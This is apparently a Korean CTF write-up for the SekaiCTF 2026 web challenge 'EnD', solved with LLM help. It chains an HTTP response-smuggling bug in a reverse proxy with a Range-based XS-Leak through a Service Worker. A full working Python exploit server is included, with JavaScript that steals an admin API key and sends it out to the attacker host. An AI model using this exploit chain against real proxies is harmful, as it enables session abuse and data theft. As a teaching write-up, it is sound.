[web] SekaiCTF 2026 - EnD writeup
0. 포스팅을 시작하며
최근에 c4c 활동을 하면서 문제를 홀로 끝까지 풀어본적이 없었던 것 같아, 글을 포스팅하는 김에 오랜만에 문제 하나를 끝까지 풀어보자 다짐을 했습니다.
그래서 시간을 조금 들여 LLM을 이용해 문제를 해결해, 끄적여봅니다.
우선 지난달 말에 진행됐던 SekaiCTF의 web문제 중, 롸업이 없는 EnD라는 문제를 선정했고, 클로드의 opus와 z.ai의 glm을 이용해 문제를 해결했습니다.
1. 구조
EnD라는 문제는 ReadView라는 이름의 읽기 전용(reader-mode) 리버스 프록시 서비스입니다.
그리고 총 2개(1개는 봇)의 컨테이너로 구성되어 있는데, 각 역할은 아래와 같습니다.
1.proxy
Node.js로 작성된 메인 프론트엔드로 포트 3000에서 동작하며 frontnet에만 연결되어 있습니다. 사용자가 외부 문서 URL을 등록하면 /view// 경로로 해당 사이트를 리버스 프록시해서 보여주는 ReadView 서비스입니다. /admin 페이지에는 API_KEY가 평문으로 렌더되며, 접근에는 ADMIN_TOKEN 쿠키가 필요합니다. 스크립트 로드를 차단하기 위해 Sec-Fetch-Dest: script인 응답의 본문을 0바이트로 처리하고, CSP도 script-src 'self'로 강하게 설정되어 있습니다.
2.api
Flask로 작성되었고 포트 9090에서 동작하며 backnet에만 연결되어 외부에서 직접 접근이 불가능합니다. /messages/search 엔드포인트가 핵심으로, OAUTH_SECRET(= flag)을 검색 대상으로 갖고 있습니다. 검색은 startswith 방식으로 동작하며, hmac(OAUTH_SECRET, "api-auth", sha256)[:16]으로 파생된 API_KEY로 인증합니다. send_file(conditional=True)로 응답해 Range 요청을 지원합니다.
2. 시나리오
우선 클로드와 glm 각각 서로 다른 시나리오를 제시했고, 먼저 클로드는 아래와 같은 가설을 세웠습니다.
- 1. XS-Leak(Resource Timing / fetch 타이밍)을 이용한 API_KEY 추측
- 2. 추측한 API_KEY를 이용해
/messages/search prefix 오라클로 플래그 획득
그리고 glm은 아래와 같은 가설을 세웠습니다.
- 1. 스머글링 -> API_KEY 획득
- 2. 취득한 API_KEY + XS-LEAK을 이용해 플래그 획득
각자 다른 시나리오를 제시해 직접 코드 분석 후, glm이 제시한 시나리오가 맞아 glm의 시나리오로 진행이 되었고, 최종적으로 플래그를 얻을 수 있었습니다.
3. 풀이
우선 smuggling취약점은 아래와 같은 /proxy/app.js의 proxyTo함수에서 발생됩니다.
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0'
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)
sec-fetch-dest: script인 요청의 응답 content-length를 0으로 덮어써 스크립트 내용을 비워버리지만,
proxyRes.pipe(res)는 upstream에서 오는 바이트를 그대로 브라우저로 전달하면서 해당 취약점이 트리거 됩니다.
그러나 해당 취약점을 어떻게 써먹느냐가 중요합니다. bot이 공격자의 서버에 접근하여 스크립트를 로드하게 만들어야 하는데 여기서는 로컬에서 진행되기 때문에 별도의 공격자 컨테이너를 먼저 생성했습니다.
GET /add?name=atk9brme&url=http://44.44.0.4:9999/
를 이용해 공격자의 서버를 프록시에 등록합니다. 그래서 저는 atk9brme 라는 경로를 받았고, http://proxy:3000/view/atk9brme/ 에 봇이 접근하면 proxy가 공격서버를 가져다 보여줍니다. 그리고 그 페이지는 proxy origin(http://proxy:3000)에서 실행된 것으로 브라우저가 인식하며 공격이 시작됩니다.
다음으로 bot의 /submit에 공격서버 주소를 제출해 bot이 트리거 페이지를 방문해window.open으로 http://proxy:3000/view/atk9brme/를 팝업으로 열면서 30초짜리 연결을 걸어두어 브라우저 소켓을 점유하는데, 이 과정에서 스머글링이 트리거 됩니다.
공격 서버에는 아래와 같은 코드가 존재하며 js1.js~js8.js는 공격서버에서 2초씩 지연 응답을 주어 브라우저 연결을 점유하고, exec.js 요청이 들어왔을 때 스머글링이 트리거됩니다.
<script async src="js1.js"></script>
<script async src="js2.js"></script>
<script async src="js3.js"></script>
<script async src="js4.js"></script>
<script async src="js5.js"></script>
<script async src="exec.js"></script> <!-- 여기가 핵심 -->
<script async src="js7.js"></script>
<script async src="js8.js"></script>
봇이 exec.js에 도달했을때, 공격서버는 exec.js 요청에 아래와 같이 응답합니다. 실제 제 poc에서 이 부분을 담당하는 코드는 다음과 같습니다.
if pa == '/exec.js':
raw = smuggled_http_response() # 두 번째 응답(실제 JS)을 미리 만들어둠
self.send_response(200)
self.send_header('Content-Type', 'not/script') # JS가 아닌 척
self.send_header('Content-Length', str(len(raw)))
self.send_header('Expect', '100-continue')
self.end_headers()
self.wfile.flush()
time.sleep(0.5) # 0.5초 대기
self.wfile.write(raw) # 두 번째 HTTP 응답을 raw byte로 밀어넣음
그리고 poc의 아래와 같이 응답합니다.
def smuggled_http_response():
"""
실제 JS 코드를 담은 완전한 HTTP 응답 문자열.
첫 번째 응답(Content-Type: not/script)의 body로 전송되어
브라우저가 다음 keep-alive 요청의 응답으로 해석하게 만든다.
"""
js = make_payload().encode()
head = (
'HTTP/1.1 200 OK\r\n'
'Content-Type: application/javascript\r\n'
f'Content-Length: {len(js)}\r\n'
'Connection: keep-alive\r\n\r\n'
).encode()
return head + js
해당 코드가 실행되면, proxy 입장에서는 공격서버로부터 첫 번째 응답 헤더(Content-Type: not/script)를 받고, sec-fetch-dest: script를 확인해 content-length를 0으로 덮어씁니다. 그러나 proxyRes.pipe(res)로 그 뒤에 오는 바이트, 즉 두 번째 HTTP 응답 전체를 그대로 브라우저로 흘려보냅니다.
브라우저 입장에서는 exec.js 응답의 content-length가 0이므로 빈 스크립트로 처리하고, 뒤이어 오는 바이트를 keep-alive 연결에서 다음 요청의 응답으로 해석합니다. 이 응답의 Content-Type이 application/javascript이므로 브라우저는 이를 proxy origin(http://proxy:3000)에서 온 스크립트로 실행합니다.
그렇게 실행된 스크립트는 아래와 같은데 스머글링으로 proxy origin에서 실행된 JS이기 때문에 /admin은 same-origin 요청입니다. bot이 proxy 도메인에 session=ADMIN_TOKEN 쿠키를 보유하고 있으므로 credentials: 'include'만으로 쿠키가 자동 첨부되어 관리자 페이지를 읽어올 수 있습니다. 읽어온 HTML에서 <code id="api-key"> 태그를 정규식으로 파싱해 API_KEY를 추출하고, 이를 공격서버의 /leak 페이지 URL에 담아 팝업으로 전달합니다.
var html = await fetch('/admin', { credentials: 'include' }).then(r => r.text());
var key = (html.match(/id="api-key">([^<]+)/) || [])[1] || '';
window.open(CB + '/leak?key=' + encodeURIComponent(key) + '&api=' + encodeURIComponent(url), '_blank');
API_KEY를 얻은 후에는 /messages/search?key=API_KEY&q=접두사 엔드포인트로 flag를 한 글자씩 추출합니다. 그런데 api는 CORS 헤더가 없어 cross-origin에서 응답 본문을 직접 읽을 수 없습니다. 여기서 XS-Leak이 필요합니다.
XS-Leak이 가능한 이유는 /api/app.py의 아래 코드 때문입니다.
return send_file(
io.BytesIO(data),
mimetype="application/json",
conditional=True,
)
conditional=True로 인해 Range 요청을 지원하게 되고, prefix가 맞아 응답이 46바이트인 경우 Range: bytes=30- 요청에 206을, 틀려서 응답이 15바이트인 경우 416을 반환합니다. 즉 기준점 30바이트를 기준으로 매칭 여부에 따라 상태코드가 달라집니다.
이 차이를 브라우저에서 읽기 위해 Service Worker를 사용합니다. <audio> 엘리먼트는 스트리밍을 위해 자동으로 Range 요청을 보내는 특성이 있는데, Service Worker가 이를 가로채 아래와 같이 처리합니다.
if (rng === 'bytes=0-') {
// 첫 번째 Range 요청 → 가짜 206으로 30바이트 기준점 설정
e.respondWith(new Response('A'.repeat(n), { status: 206, ... }));
}
if (rng === 'bytes=' + n + '-') {
// 두 번째 Range 요청 → 실제 api로 전달, 응답 저장
e.respondWith(
fetch(e.request)
.then(r => { saved = r.clone(); return r; })
.catch(() => new Response('', { status: 416 }))
);
}
두 번째 Range 요청의 결과로 매칭이면 206 응답이 saved에 저장되고, 미스면 저장되지 않습니다. 이후 /probe fetch를 통해 saved에 응답이 있는지 확인하고, 있으면 fetch가 실패하고 없으면 성공하는 방식으로 매칭 여부를 판별합니다. 이를 통해 flag를 한 글자씩 브루트포스해 최종적으로 플래그를 획득했습니다.
4. PoC
#!/usr/bin/env python3
import os, sys, time, random, string, threading, re
import urllib.parse, urllib.request
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
PORT = 9999
VPS = '44.44.0.4'
PROXY = 'http://proxy:3000'
BOT = 'http://web_end-bot-1:8000'
SITE = 'http://proxy:3000'
PREFIX = ''
LIMIT = 80
CB = f'http://{VPS}:{PORT}'
TAG = 'atk' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=5))
flag = PREFIX
evts = []
lk = threading.Lock()
SW = """\
'use strict';
var saved;
self.addEventListener('install', () => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
self.addEventListener('fetch', e => {
var u = new URL(e.request.url);
var thr = u.searchParams.get('thr');
if (thr !== null) {
var n = parseInt(thr, 10);
var rng = e.request.headers.get('range') || '';
if (rng === 'bytes=0-') {
e.respondWith(new Response('A'.repeat(n), {
status: 206,
headers: {
'Content-Type': 'audio/mpeg',
'Content-Range': 'bytes 0-' + (n-1) + '/999999',
'Accept-Ranges': 'bytes'
}
}));
return;
}
if (rng === 'bytes=' + n + '-') {
e.respondWith(
fetch(e.request)
.then(r => { saved = r.clone(); return r; })
.catch(()=> new Response('', {status:416}))
);
return;
}
}
if (u.pathname.endsWith('/probe') && saved) {
var tmp = saved; saved = undefined;
e.respondWith(tmp.clone());
}
});
"""
def make_payload():
return f"""(async()=>{{
var cb={repr(CB)};
var L=m=>new Image().src=cb+'/e?m='+encodeURIComponent(m);
L('exec');
try{{
var html=await fetch('/admin',{{credentials:'include'}}).then(r=>r.text());
L('len='+html.length);
var api=(html.match(/id="api-url">([^<]+)/)||[])[1]||'';
var key=(html.match(/id="api-key">([^<]+)/)||[])[1]||'';
L('key='+key);
if(key) window.open(cb+'/leak?key='+encodeURIComponent(key)+'&api='+encodeURIComponent(api),'_blank');
}}catch(err){{L('err='+err)}}
}})();""".strip()
def smuggled_http_response():
js = make_payload().encode()
head = (
'HTTP/1.1 200 OK\r\n'
'Content-Type: application/javascript\r\n'
f'Content-Length: {len(js)}\r\n'
'Connection: keep-alive\r\n\r\n'
).encode()
return head + js
CHARSET = '{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!@#$%&-'
THR = 30
def make_leak_page(api, key, prefix):
return f"""<!DOCTYPE html><html><body><script>
(async()=>{{
var cb={repr(CB)},api={repr(api)},key={repr(key)},thr={THR};
var L=m=>new Image().src=cb+'/e?m='+encodeURIComponent(m);
try{{
await navigator.serviceWorker.register('/sw.js');
await navigator.serviceWorker.ready;
if(!navigator.serviceWorker.controller)
await new Promise(r=>navigator.serviceWorker.addEventListener('controllerchange',r,{{once:true}}));
L('sw_ok');
}}catch(e){{L('sw_fail='+e);return;}}
function oracle(q){{
return new Promise(res=>{{
var a=document.createElement('audio');
a.src=api+'/messages/search?key='+key+'&q='+encodeURIComponent(q)+'&thr='+thr+'&r='+Math.random();
a.onerror=()=>fetch('/probe',{{mode:'no-cors'}}).then(()=>res(false)).catch(()=>res(true));
document.body.appendChild(a);
}});
}}
L('go');
var found={repr(prefix)};
var cs={repr(CHARSET)};
for(var i=found.length;i<{LIMIT};i++){{
var hit=false;
for(var j=0;j<cs.length;j++){{
if(await oracle(found+cs[j])){{found+=cs[j];hit=true;break;}}
}}
new Image().src=cb+'/f?c='+encodeURIComponent(found)+'&i='+i;
if(!hit)break;
}}
new Image().src=cb+'/done?flag='+encodeURIComponent(found);
}})();
</script></body></html>"""
_scripts = [f'js{i}.js' for i in range(1, 9)]
_scripts[5] = 'exec.js'
POOL_SCRIPTS = '\n'.join(f'<script async src="{s}"></script>' for s in _scripts)
POOL_PAGE = f'<!DOCTYPE html><html><body>\n{POOL_SCRIPTS}\n</body></html>'
TRIG_PAGE = (
f'<!DOCTYPE html><html><body>'
f'<script>window.open({repr(f"{SITE}/view/{TAG}/")}, "_blank")</script>'
f'<img src="/hold">'
f'</body></html>'
)
class H(BaseHTTPRequestHandler):
def log_message(self, *_): pass
def ok(self, ct, body):
if isinstance(body, str): body = body.encode()
self.send_response(200)
self.send_header('Content-Type', ct)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
global flag
pr = urllib.parse.urlparse(self.path)
pa = pr.path
qs = urllib.parse.parse_qs(pr.query)
g = lambda k: qs.get(k, [''])[0]
if pa == '/e':
m = urllib.parse.unquote(g('m'))
with lk: evts.append(m)
print(f' [*] {m}')
return self.ok('text/plain', 'ok')
if pa == '/f':
c = urllib.parse.unquote(g('c'))
with lk:
if len(c) > len(flag): flag = c
print(f'\r [{g("i").zfill(3)}] {c}', end='', flush=True)
return self.ok('text/plain', 'ok')
if pa == '/done':
c = urllib.parse.unquote(g('flag'))
with lk:
if len(c) > len(flag): flag = c
print()
return self.ok('text/plain', 'ok')
if pa == '/go':
return self.ok('text/html', TRIG_PAGE)
if pa == '/hold':
time.sleep(30)
return self.ok('text/plain', 'ok')
if pa in ('/', '/index.html'):
return self.ok('text/html', POOL_PAGE)
if pa == '/exec.js':
raw = smuggled_http_response()
self.send_response(200)
self.send_header('Content-Type', 'not/script')
self.send_header('Content-Length', str(len(raw)))
self.send_header('Expect', '100-continue')
self.end_headers()
self.wfile.flush()
time.sleep(0.5)
try:
self.wfile.write(raw)
self.wfile.flush()
except Exception:
pass
return
if re.match(r'^/js\d+\.js$', pa):
time.sleep(2)
return self.ok('application/javascript', '')
if pa == '/leak':
key = urllib.parse.unquote(g('key'))
api = urllib.parse.unquote(g('api'))
with lk: pre = flag or PREFIX
return self.ok('text/html', make_leak_page(api, key, pre))
if pa == '/sw.js':
body = SW.encode()
self.send_response(200)
self.send_header('Content-Type', 'application/javascript')
self.send_header('Cache-Control', 'no-cache')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
return
if pa == '/probe':
return self.ok('text/plain', 'ok')
self.send_response(404)
self.end_headers()
def req(url, post=None):
try:
r = urllib.request.Request(
url, data=post,
headers={'Content-Type':'application/x-www-form-urlencoded'} if post else {}
)
with urllib.request.urlopen(r, timeout=12) as res:
return res.status
except Exception as e:
return str(e)
def run():
global flag
time.sleep(2)
print(f' proxy : {PROXY}\n bot : {BOT}\n cb : {CB}\n tag : {TAG}\n')
add = f'{PROXY}/add?name={TAG}&url={urllib.parse.quote(CB + "/")}'
for _ in range(10):
if req(add) == 201:
print(f' [+] /view/{TAG}/ registered')
break
time.sleep(2)
for rd in range(3):
with lk: prev = len(flag)
print(f'\n round {rd+1} (prefix: {repr(flag or "empty")})')
body = urllib.parse.urlencode({'url': f'{CB}/go'}).encode()
print(f' bot → {req(f"{BOT}/submit", post=body)}')
stall = last = 0
for _ in range(150):
time.sleep(1)
with lk: cur = flag
if cur.endswith('}'): break
if len(cur) > last: last = len(cur); stall = 0
else: stall += 1
if stall >= 25: break
with lk: cur = flag
if cur.endswith('}'): break
if len(cur) == prev: print(' no progress'); break
with lk: final = flag; ev = list(evts)
print('\n' + '='*50)
print(f' events : {" → ".join(ev)}')
print(f' flag : {final}')
print(f' result : {"OK" if final.endswith("}") else "PARTIAL" if final else "FAIL"}')
print('='*50)
if __name__ == '__main__':
srv = ThreadingHTTPServer(('0.0.0.0', PORT), H)
print(f'[*] listening :{PORT}')
threading.Thread(target=run, daemon=True).start()
try: srv.serve_forever()
except KeyboardInterrupt: pass
로컬에서 진행한것이다보니, 로컬에 attacker 서버를 구축하고 문제 서버와 통신을 위해 아래와 같은 환경 설정을 진행했습니다. (환경 변수로 flag 넣어줘야 함)
# 1. 공격자 컨테이너 생성 (pubnet에 붙여 공인 대역 IP 획득)
docker network create --subnet 44.44.0.0/16 pubnet
docker run -d --name attacker \
--network pubnet \
-v "/mnt/c/Users/82105/Desktop/ctf/sekai 2026/web_end":/app \
python:3.12-slim sleep infinity
# 2. proxy, bot을 pubnet에 연결
docker network connect pubnet web_end-proxy-1
docker network connect pubnet web_end-bot-1
# 3. attacker 컨테이너의 IP 확인
docker inspect attacker --format '{{.NetworkSettings.Networks.pubnet.IPAddress}}'
# 4. attacker를 frontnet에도 연결 (proxy, bot hostname 접근용)
docker network connect web_end_frontnet attacker
# 5. poc 실행
docker exec -it attacker python3 /app/exploit.py
flag
# 5. 마치며
AI가 거의 진행을 하긴 했지만 오랜만에 문제 하나를 끝까지 풀었는데, 가드레일 때문에 직접 분석한 부분도 많이 있지만 LLM 사용 이전과 비교하면 확실히 편하고 넓은 시야로 문제를 풀 수 있었던 것 같습니다. 하지만 처음에 잘못된 시나리오로 문제를 해결할 때, 직접 확인을 하지 않았으면 토큰만 잡아먹고 문제 해결을 못했을 것 같습니다. 이번 경험을 통해 현재 LLM을 얼마나 잘 활용하냐도 중요하지만 아직까지는 사람의 도메인이 더 중요하다는 것을 느껴, 앞으로 CTF를 할때 가끔씩은 너무 LLM에 의존하지 않고 직접 문제를 해결하면서 역량을 키워야 겠다는 다짐이 들었습니다.